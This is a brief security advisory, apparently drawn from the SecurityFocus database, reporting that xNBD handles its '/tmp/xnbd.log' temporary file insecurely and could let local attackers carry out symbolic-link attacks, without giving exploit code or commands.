xNBD - '/tmp/xnbd.log' Insecure Temporary File Handling

source: https://www.securityfocus.com/bid/57784/info

xNBD is prone to a vulnerability because it handles temporary files in an insecure manner. 

Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible.
